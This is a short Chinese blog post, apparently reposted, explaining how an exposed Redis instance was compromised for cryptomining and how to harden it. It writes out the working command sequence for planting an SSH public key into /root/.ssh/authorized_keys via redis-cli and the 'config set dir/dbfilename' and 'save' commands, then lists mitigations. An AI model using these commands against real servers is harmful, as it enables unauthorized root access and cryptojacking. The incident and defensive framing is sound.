记一次redis遭受挖矿脚本攻击

攻击前提:redis端口和密码均暴露

步骤:

1:生成一对公私钥,可本地命令行或使用工具生成,例如:ssh-keygen -t rsa

2:将公钥写入到文件里,例如:(echo-e"\n\n";cat id_rsa.pub;echo-e"\n\n")>foo.txt

3:cat命令读取公钥文件内容,并连接redis写入key test中,例如:cat /home/zqw/.ssh/foo.txt | ./redis-cli -h x.x.x.y -x set test

4:利用redis的配置项(dir和dbfilename),设置dump目录:config set dir /root/.ssh/ ; 设置文件名:config set dbfilename"authorized_keys"; 最后保存:save

5:此时就相当于已经把一个ssh公钥写进redis所在的服务器中了,则拿着对应的私钥便能直接访问服务器

6:已经得到服务器权限后,控制服务器,进行挖矿等操作

相关释义:

ssh公私钥:在这里可理解为一对相互匹配的钥匙,当公钥放置在服务器上,那么谁拿着私钥,便能和服务器进行合法交互

dbfilename dump.rdb      ##默认值dump.rdb,dump到文件系统中的文件名  

dir /usr/local/redis/db      ##默认值./,即当前目录,dump出的数据文件的存储路径;

防护措施:

1:不要使用root等拥有高权限的用户来运行redis,否则一旦被攻破,服务器则完全受人摆布

2:redis默认端口为6379,攻击者常以此端口号配合密码进行暴力破解,因为端口号应改为其它端口,防火墙限定ip访问端口

3:redis的密码安装完几乎都是空,务必设置一个安全的强口令密码,

附:redis修改密码方案

法1:config set requirepass *******   (注意此方法仅当前有效,当server重启后失效)

法2:redis.conf文件里修改,并加载配置文件后重启redis服务  service redis restart 或 service redis stop   redis-server /你的目录/redis.conf

猜你喜欢

转载自blog.csdn.net/weixin_39177464/article/details/113174180